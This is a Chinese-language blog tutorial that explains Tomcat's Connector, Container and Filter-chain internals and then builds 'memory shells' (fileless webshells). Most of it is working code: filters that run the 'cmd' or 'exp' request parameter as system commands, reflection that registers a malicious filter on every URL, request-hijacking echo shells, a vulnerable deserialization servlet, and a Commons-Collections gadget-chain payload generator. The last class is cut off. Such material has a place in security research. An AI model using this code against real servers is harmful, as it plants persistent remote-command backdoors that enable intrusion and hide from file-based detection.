[参考文章][https://www.cnblogs.com/nice0e3/p/14622879.html#0x01-tomcat%E6%9E%B6%E6%9E%84%E5%88%86%E6%9E%90]
[参考文章2][https://goodapple.top/archives/1355]
Tomcat架构分析
宏观上的分析网上都有,这里贴一些写的比较详细的。
Server
Server:
Server,即指的WEB服务器,一个Server包括多个Service。
Service:
Service的作用是在Connector
和Engine
外面包了一层(可看上图),把它们组装在一起,对外提供服务。一个Service
可以包含多个Connector
,但是只能包含一个Engine
,其中Connector
的作用是从客户端接收请求,Engine的作用是处理接收进来的请求。后面再来细节分析Service。
Connector:
Tomcat有两个典型的Connector
,一个直接侦听来自browser的http请求,一个侦听来自其它WebServer的请求Coyote Http/1.1 Connector 在端口8080处侦听来自客户browser的http请求
Coyote JK2 Connector 在端口8009处侦听来自其它WebServer(Apache)的servlet/jsp代理请求。
Engine:
Engine下可以配置多个虚拟主机,每个虚拟主机都有一个域名当Engine
获得一个请求时,它把该请求匹配到某个Host
上,然后把该请求交给该Host
来处理Engine
有一个默认虚拟主机,当请求无法匹配到任何一个Host
上的时候,将交给该默认Host来处理。
Host:
代表一个虚拟主机,每个虚拟主机和某个网络域名Domain Name相匹配
每个虚拟主机下都可以部署(deploy)一个或者多个Web App,每个Web App对应于一个Context,有一个Context path,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理匹配的方法是“最长匹配”,所以一个path==””的Context将成为该Host的默认Context所有无法和其它Context的路径名匹配的请求都将最终和该默认Context匹配。
Context:
一个Context对应于一个Web Application,一个WebApplication
由一个或者多个Servlet组成
Context在创建的时候将根据配置文件$CATALINA_HOME/conf/web.xml
和$WEBAPP_HOME/WEB-INF/web.xml
载入Servlet类,当Context获得请求时,将在自己的映射表(mapping table)中寻找相匹配的Servlet类。如果找到,则执行该类,获得请求的回应,并返回。
下面来看详细说明:
Connector
Connector也被叫做连接器。Connector将在某个指定的端口上来监听客户的请求,把从socket传递过来的数据,封装成Request,传递给Engine来处理,并从Engine处获得响应并返回给客户端。
| Engine:最顶层容器组件,其下可以包含多个 Host。 Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。 Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。 Wrapper:一个 Wrapper 代表一个 Servlet。
|
对照图:
]
ProtocolHandler
在Connector
中,包含了多个组件,Connector
使用ProtocolHandler
处理器来处理请求。不同的ProtocolHandler
代表不同连接类型。ProtocolHandler
处理器可以用看作是协议处理统筹者,通过管理其他工作组件实现对请求的处理。ProtocolHandler
包含了三个非常重要的组件,这三个组件分别是:
| - Endpoint: 负责接受,处理socket网络连接 - Processor: 负责将从Endpoint接受的socket连接根据协议类型封装成request - Adapter:负责将封装好的Request交给Container进行处理,解析为可供Container调用的继承了 ServletRequest接口、ServletResponse接口的对象。
|
请求经Connector处理完毕后,传递给Container进行处理。
Container
Container容器则是负责封装和管理Servlet 处理用户的servlet请求,并返回对象给web用户的模块。
Container 处理请求,内部是使用Pipeline-Value
管道来处理的,每个 Pipeline
都有特定的 Value(BaseValue)
,BaseValue 会在最后执行。上层容器的BaseValue
会调用下层容器的管道,FilterChain
其实就是这种模式,FilterChain
相当于 Pipeline
,每个 Filter 相当于一个 Value。4 个容器的BaseValve
分别是StandardEngineValve
、StandardHostValve
、StandardContextValve 和StandardWrapperValve
。每个Pipeline 都有特定的Value ,而且是在管道的最后一个执行,这个Valve 叫BaseValve
,BaseValve
是不可删除的
这三张图其实就很好的解释了他的一个执行流程,看到最后一张图,在wrapper-Pipline
执行完成后会去创建一个FilterChain
对象也就是我们的过滤链。这里来解释一下过滤链。
过滤链:在一个 Web 应用程序中可以注册多个 Filter 程序,每个 Filter 程序都可以针对某一个 URL 进行拦截。如果多个 Filter 程序都对同一个 URL 进行拦截,那么这些 Filter 就会组成一个Filter 链(也称
过滤器链)。
如果做过Java web开发的话,不难发现在配置Filter 的时候,假设执行完了就会来到下一个Filter 里面,如果都FilterChain.doFilter
进行放行的话,那么这时候才会执行servlet内容。原理如上。
整体的执行流程,如下图:
| Server : - Service -- Connector: 客户端接收请求 --- ProtocolHandler: 管理其他工作组件实现对请求的处理 ---- Endpoint: 负责接受,处理socket网络连接 ---- Processor: 负责将从Endpoint接受的socket连接根据协议类型封装成request ---- Adapter: 负责将封装好的Request交给Container进行处理,解析为可供Container调用的继承了ServletRequest接口、ServletResponse接口的对象。 --- Container: 负责封装和管理Servlet 处理用户的servlet请求,并返回对象给web用户的模块 -- Engine:处理接收进来的请求 --- Host: 虚拟主机 --- Context: 相当于一个web应用
|
Tomcat 与 Servlet 的关系
参考链接:https://www.freebuf.com/articles/system/151433.html
Tomcat 是 Web 应用服务器,是一个 Servlet/JSP 容器,Tomcat 作为 Servlet 的容器,能够将用户的请求发送给 Servlet,并且将 Servlet 的响应返回给用户,Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrapper
- Engine,实现类为
org.apache.catalina.core.StandardEngine
- Host,实现类为
org.apache.catalina.core.StandardHost
- Context,实现类为
org.apache.catalina.core.StandardContext
- Wrapper,实现类为
org.apache.catalina.core.StandardWrapper
每个Wrapper实例表示一个具体的Servlet定义,StandardWrapper
是Wrapper接口的标准实现类(StandardWrapper
的主要任务就是载入Servlet类并且进行实例化)
Tomcat内存马分类
Tomcat内存马大致可以分为三类,分别是Listener型、Filter型、Servlet型。其实就是针对Java Web核心的三大组件,也可以说是针对tomcat在实例化过程中每个阶段的操作。tomcat实例化中执行的顺序是Listener
->Filter
->Servlet
。
Filter型
Filter调用链
在Servlet容器中,Filter的调用是通过FilterChain实现的
实现一个简单的demoFilter,看一下tomcat内部是如何实现filter的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| package com.example.tomcat_webshell.shell;
import javax.servlet.*; import java.io.IOException;
public class DemoFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("filter init"); }
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); }
@Override public void destroy() {
} }
|
在rg.apache.catalina.core.ApplicationFilterChain
中internalDoFilter
下断点。我们可以先看一下整体的调用栈。先是在StandardContextValve
类中获取到了整体的Wrapper。
然后到StandardWrapperValve
这个类中创建了filterChin。利用这个调用filterChain.doFilter(request.getRequest(), response.getResponse());
doFilter函数
通过doFilter
函数又会调用到internalDoFilter
函数,也就是我们下端点的地方,跟进internalDoFilter
函数
这里通过filterConfig.getFilter()
获取到filter,然后调用它的doFilter
方法来到我们配置的filter.doFilter
方法中。
但是到这里还有一个filterConfig并没有看明白怎么构造的。回到前面org.apache.catalina.core.StandardWrapperValve#invoke
这个方法中创建了filterChain
,跟进ApplicationFilterFactory.createFilterChain
方法查看。
利用context和获取到了filterMaps,并且可以看到context里面是包含了filterDonfigs,filterDefs,filterMaps的。
filterConfigs
其中filterConfigs包含了当前的上下文信息StandardContext
、以及filterDef
等信息
其中filterDef
存放了filter的定义,包括filterClass、filterName等信息。对应的其实就是web.xml中的<filter>
标签。
filterDefs
| filterDefs`是一个HashMap,以键值对的形式存储filterDef
|
filterMaps
filterMaps
中以array的形式存放各filter的路径映射信息,其对应的是web.xml中的<filter-mapping>
标签
filterMaps必要的属性为dispatcherMapping
、filterName
、urlPatterns
再到后面,遍历StandardContext.filterMaps
得到filter与URL的映射关系并通过matchDispatcher()
、matchFilterURL()
方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs
中,是否存在对应filter的实例,当实例不为空时通过addFilter
方法,将管理filter实例的filterConfig
添加入filterChain
对象中。
动态注册Filter
经过上面的分析,我们可以总结出动态添加恶意Filter的思路
- 获取StandardContext对象
- 创建恶意Filter
- 使用FilterDef对Filter进行封装,并添加必要的属性
- 创建filterMap类,并将路径和Filtername绑定,然后将其添加到filterMaps中
- 使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中
获取StandardContext对象
在已有request
的情况下
| ServletContext servletContext = req.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
|
首先用ServletContext servletContext = req.getSession().getServletContext();
获取到ApplicationContextFacade
这个类的context变量为ApplicationContext
类
然后用反射获取到context变量,而在ApplicationContext
类中的context又是StandardContext
类,再用一次反射就能获取到StandardContext
对象了
而在StandardContext
对象就放着我们需要操作的filter一系列对象了。
利用StandardContext添加恶意filter
实现完第一步获取StandardContext类,后面就是可以注册我们的恶意filter了。注册恶意filter大致又分为这几步
- 创建恶意Filter
- 使用FilterDef对Filter进行封装,并添加必要的属性
- 创建filterMap类,并将路径和Filtername绑定,然后将其添加到filterMaps中
- 使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中
创建filter就不说了,就是实例化一个类,同时这个类得实现Filter那些接口。下面看看代码,不过也是网上都有的。
关于实现实例化filterDef
| String name = "ShellFilter"; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);
|
创建filterMap类,使用addFilterMapBefore
确保我们的而已filter在第一个,不然无法成功使用
| FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap);
|
添加到filterConfigs
| java.lang.reflect.Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); java.util.Map filterConfigs = (java.util.Map) Configs.get(standardContext);
java.lang.reflect.Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(org.apache.catalina.Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig);
|
到这里就能已经可以实现注册一个恶意filter了。但是这是在我们拥有request对象的情况下实现的,一般来讲无文件落地内存马还需要自己获取request对象,下面再看看怎么获取request对象。
获取request对象
利用ThreadLocal Response回显
这是kingkk师傅的思路,也是很通用的方法。这种方法可以兼容tomcat 789,但在Tomcat 6下无法使用。
首先要注意的是,我们寻找的request对象应该是一个和当前线程ThreadLocal有关的对象,而不是一个全局变量。这样才能获取到当前线程的相关信息。最终我们能够在org.apache.catalina.core.ApplicationFilterChain
类中找到这样两个变量*lastServicedRequest
和lastServicedResponse
*。并且这两个属性还是静态的,我们获取时无需实例化对象。
其实在调试的时候你也会发现在ApplicationFilterChain类的internalDoFilter
方法中有这样一段代码。这里很明显的当ApplicationDispatcher.WRAP_SAME_OBJECT
是true的时候就调用lastServicedRequest.set(request)
保存当前线程的request对象。所以如果我们通过反射修改这里的WRAP_SAME_OBJECT
值,下次再请求的时候是不是就可以直接从lastServicedRequest
中获取到request对象。
所以获取request的思路就是
- 反射修改
ApplicationDispatcher.WRAP_SAME_OBJECT
的值,通过ThreadLocal#set
方法将request和response对象存储到变量中
- 初始化
lastServicedRequest
和lastServicedResponse
两个变量,默认为null
- 通过
ThreadLocal#get
方法将request和response对象从*lastServicedRequest
和lastServicedResponse
*中取出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); java.lang.reflect.Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL); WRAP_SAME_OBJECT_FIELD.setAccessible(true); lastServicedRequestField.setAccessible(true); lastServicedResponseField.setAccessible(true);
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)) { WRAP_SAME_OBJECT_FIELD.setBoolean(null, true); }
if (lastServicedRequestField.get(null) == null) { lastServicedRequestField.set(null, new ThreadLocal<>()); }
if (lastServicedResponseField.get(null) == null) { lastServicedResponseField.set(null, new ThreadLocal<>()); }
if (lastServicedResponseField.get(null) != null) { ThreadLocal threadLocal = (ThreadLocal) lastServicedResponseField.get(null); ServletResponse servletResponse = (ServletResponse) threadLocal.get(); PrintWriter writer = servletResponse.getWriter(); writer.write("Inject ThreadLocal Successfully!"); writer.flush(); writer.close(); }
|
但是这种方法也有局限性。例如在Shiro不能用该方法获取Response,因为rememberMe的实现使用了自己实现的filter。request、response
的设置是在漏洞触发点之后。
从ContextClassLoader获取(只可用于Tomcat 8 9)
这是Litch1师傅的思路,学长tql。
由于Tomcat处理请求的线程中,存在ContextLoader对象,而这个对象又保存了StandardContext对象,所以很方便就获取了。获取到了StandardContext就可以通过StrandContext获取到Resquest、Response对象。 具体的调用链如下。
| StandardContext-->ApplicationContext--->StandardService----->Connector----->Http11NioProtocol----->AbstractProtocol$ConnectoinHandler#process()------->this.global-------->RequestInfo------->Request-------->Response
|
首先就是得获取到StandardContext
,这里得先了解tomcat类加载机制
Tomcat的类加载机制
众所周知,Tomcat使用的并不是传统的类加载机制,我们来看下面的例子
我们知道,Tomcat中的一个个Webapp就是一个个Web应用,如果WebAPP A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2。这样在加载的时候由于全限定名相同,因此不能同时加载,所以必须对各个Webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离。
Tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个定制的ClassLoader就是WebappClassLoader
。
那么我们又如何将原有的父加载器和WebappClassLoader
联系起来呢?这里Tomcat使用的机制是线程上下文类加载器Thread ContextClassLoader。
Thread类中有getContextClassLoader()
和setContextClassLoader(ClassLoader cl)
方法用来获取和设置上下文类加载器。如果没有setContextClassLoader(ClassLoader cl)方法通过设置类加载器,那么线程将继承父线程的上下文类加载器,如果在应用程序的全局范围内都没有设置的话,那么这个上下文类加载器默认就是应用程序类加载器。对于Tomcat来说ContextClassLoader被设置为WebAppClassLoader
(在一些框架中可能是继承了public abstract WebappClassLoaderBase的其他Loader)。
因此WebappClassLoaderBase就是我们寻找的Thread和Tomcat 运行上下文的联系之一。
在调试中我们发现当前classloader为org.apache.catalina.loader.PrallelWebappClassLoader
,继承自WebappClassLoaderBase
。
然后就可以通过webappClassLoaderBase.getResources().getContext();
获取StandardContext
然后获取ApplicationContext和StandardService都比较一致,主要看看后面从connector开始获取到request的流程。
从哪找到request对象的
首先我们需要明白我们最终是从哪找到request对象的,最初能够从AbstractProcessor
中很明显看到全局变量request。
而在Http11Processor#service
中将全局的request进行了注册。而Http11Processor
继承了AbstractProcessor
类,这里的response对象正是AbstractProcessor
类中的属性,因此我们如果能获取到Http11Processor
类,就能获取到response对象。
而这些Processor
的信息都被放到哪了呢。其实在AbstractProtocol
的内部类ConnectionHandler#register
方法中,将processor的信息存储在了属性global中。所以我们最终获取到this.global就可以从中拿到request对象了。
关于connector
Tomcat在启动时会通过StandardService创建Connector,并且在addconnector中将connector属性放在connectors中。而在下方可以看到connector类中有着关于protocolHandler的相关操作,并且该类继承了AbstractProtocol类。所以如果这里我们就可以通过connector获取到AbstractProtocol类,然后获取到AbstractProtocol类中的ConnectionHandler类从而获取到this.global
最终的恶意代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
| package com.example.tomcat_webshell.shell;
import org.apache.catalina.connector.Connector; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.catalina.core.StandardService; import org.apache.coyote.ProtocolHandler; import org.apache.coyote.RequestGroupInfo; import org.apache.coyote.RequestInfo; import org.apache.tomcat.util.net.AbstractEndpoint;
import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.io.PrintWriter; import java.lang.reflect.Field; import java.util.List; import java.util.Scanner; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.tomcat.util.net.AbstractEndpoint.Handler;
public class Tomcat_Echo_inject_WebClassCloader extends HttpServlet { static { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
System.out.println(standardContext);
try { Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(standardContext);
Field standardServiceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service"); standardServiceField.setAccessible(true); StandardService standardService = (StandardService) standardServiceField.get(applicationContext);
Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors"); connectorsField.setAccessible(true); Connector[] connectors = (Connector[]) connectorsField.get(standardService); Connector connector = connectors[0];
ProtocolHandler protocolHandler = connector.getProtocolHandler(); Field handlerField = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler"); handlerField.setAccessible(true); Handler handler = (Handler) handlerField.get(protocolHandler);
Field globalHandler = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global"); globalHandler.setAccessible(true); RequestGroupInfo global = (RequestGroupInfo) globalHandler.get(handler);
Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"); processorsField.setAccessible(true); List<RequestInfo> requestInfoList = (List<RequestInfo>) processorsField.get(global);
Field requestField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"); requestField.setAccessible(true); for (RequestInfo requestInfo : requestInfoList){
org.apache.coyote.Request request = (org.apache.coyote.Request) requestField.get(requestInfo);
org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1); org.apache.catalina.connector.Response http_response = http_request.getResponse();
PrintWriter writer = http_response.getWriter(); String cmd = http_request.getParameter("exp");
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("\\A"); String result = scanner.hasNext()?scanner.next():""; scanner.close(); writer.write(result); writer.flush(); writer.close(); }
} catch (NoSuchFieldException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } }
|
内存马攻击实现
因为打内存马一般需要有执行任意字节码的条件,所以我在本地就用cc的依赖来打了。
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
关于server
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| package com.example.tomcat_webshell;
import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.ByteArrayInputStream; import java.io.IOException; import java.io.InputStream; import java.io.ObjectInputStream; import java.util.Base64;
public class CCServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().write("Success"); }
@Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String cmd = req.getParameter("cmd"); byte[] bytes = Base64.getDecoder().decode(cmd); ByteArrayInputStream bin =new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(bin); try { objectInputStream.readObject(); } catch (ClassNotFoundException e) { e.printStackTrace(); } resp.getWriter().write("Success"); } }
|
exp生成payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| package com.example.tomcat_webshell.shell;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.FactoryTransformer; import org.apache.commons.collections.functors.InstantiateFactory; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class test3 { public static void main(String[] args) throws Exception{ TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{ ClassPool.getDefault().get(Tomcat_Echo_inject_Filter_cloader.class.getName()).toBytecode() }); setFieldValue(obj, "_name", "1"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); InstantiateFactory instantiateFactory; instantiateFactory = new InstantiateFactory(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class,new Class[]{javax.xml.transform.Templates.class},new Object[]{obj});
FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory); ConstantTransformer constantTransformer = new ConstantTransformer(1); Map innerMap = new HashMap(); LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap, constantTransformer); TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey"); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); setFieldValue(outerMap,"factory",factoryTransformer); outerMap.remove("keykey");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(expMap); objectOutputStream.close(); byte[] payload = byteArrayOutputStream.toByteArray(); System.out.println(new String(Base64.getEncoder().encode(payload)));
} public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
利用ThreadLocal
如果利用ThreadLocal来种马,则需要执行两次字节码一次为设置request对象,另一次通过request对象获取StandardContext来注册恶意filter。
第一次执行的字节码源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| package com.example.tomcat_webshell.shell;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.core.ApplicationFilterChain; import org.apache.coyote.AbstractProcessor;
import javax.servlet.ServletResponse; import java.io.PrintWriter; import java.lang.reflect.Field; import java.lang.reflect.Modifier; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.catalina.loader.WebappClassLoader; import org.apache.catalina.loader.ParallelWebappClassLoader; import org.apache.coyote.http11.Http11Processor;
public class Tomcat_Echo_inject_ThreadLocal extends AbstractTranslet { static { try { java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); java.lang.reflect.Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL); WRAP_SAME_OBJECT_FIELD.setAccessible(true); lastServicedRequestField.setAccessible(true); lastServicedResponseField.setAccessible(true);
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)) { WRAP_SAME_OBJECT_FIELD.setBoolean(null, true); }
if (lastServicedRequestField.get(null) == null) { lastServicedRequestField.set(null, new ThreadLocal<>()); }
if (lastServicedResponseField.get(null) == null) { lastServicedResponseField.set(null, new ThreadLocal<>()); }
if (lastServicedResponseField.get(null) != null) { ThreadLocal threadLocal = (ThreadLocal) lastServicedResponseField.get(null); ServletResponse servletResponse = (ServletResponse) threadLocal.get(); PrintWriter writer = servletResponse.getWriter(); writer.write("Inject ThreadLocal Successfully!"); writer.flush(); writer.close(); } } catch (Exception e) { e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
需要发送两次第二次才会打印成功
然后注册恶意filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128
| package com.example.tomcat_webshell.shell;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.core.*; import org.apache.coyote.AbstractProtocol; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*; import java.io.IOException; import java.io.InputStream; import java.io.PrintWriter; import java.lang.reflect.InvocationTargetException; import org.apache.catalina.core.StandardService; public class Tomcat_Echo_inject_Filter extends AbstractTranslet implements Filter { static { try { ServletContext servletContext = getServletContext(); java.lang.reflect.Field appContextField = servletContext.getClass().getDeclaredField("context"); appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); java.lang.reflect.Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Tomcat_Echo_inject_Filter filter = new Tomcat_Echo_inject_Filter(); String name = "ShellFilter"; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap);
java.lang.reflect.Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); java.util.Map filterConfigs = (java.util.Map) Configs.get(standardContext);
java.lang.reflect.Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(org.apache.catalina.Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig);
} catch (NoSuchFieldException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); } }
public static ServletContext getServletContext() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { java.lang.reflect.Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); lastServicedRequestField.setAccessible(true); ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null); if(threadLocal!=null && threadLocal.get()!=null){ ServletRequest servletRequest = (ServletRequest) threadLocal.get(); return servletRequest.getServletContext(); } return null; }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override public void init(FilterConfig filterConfig) throws ServletException {
}
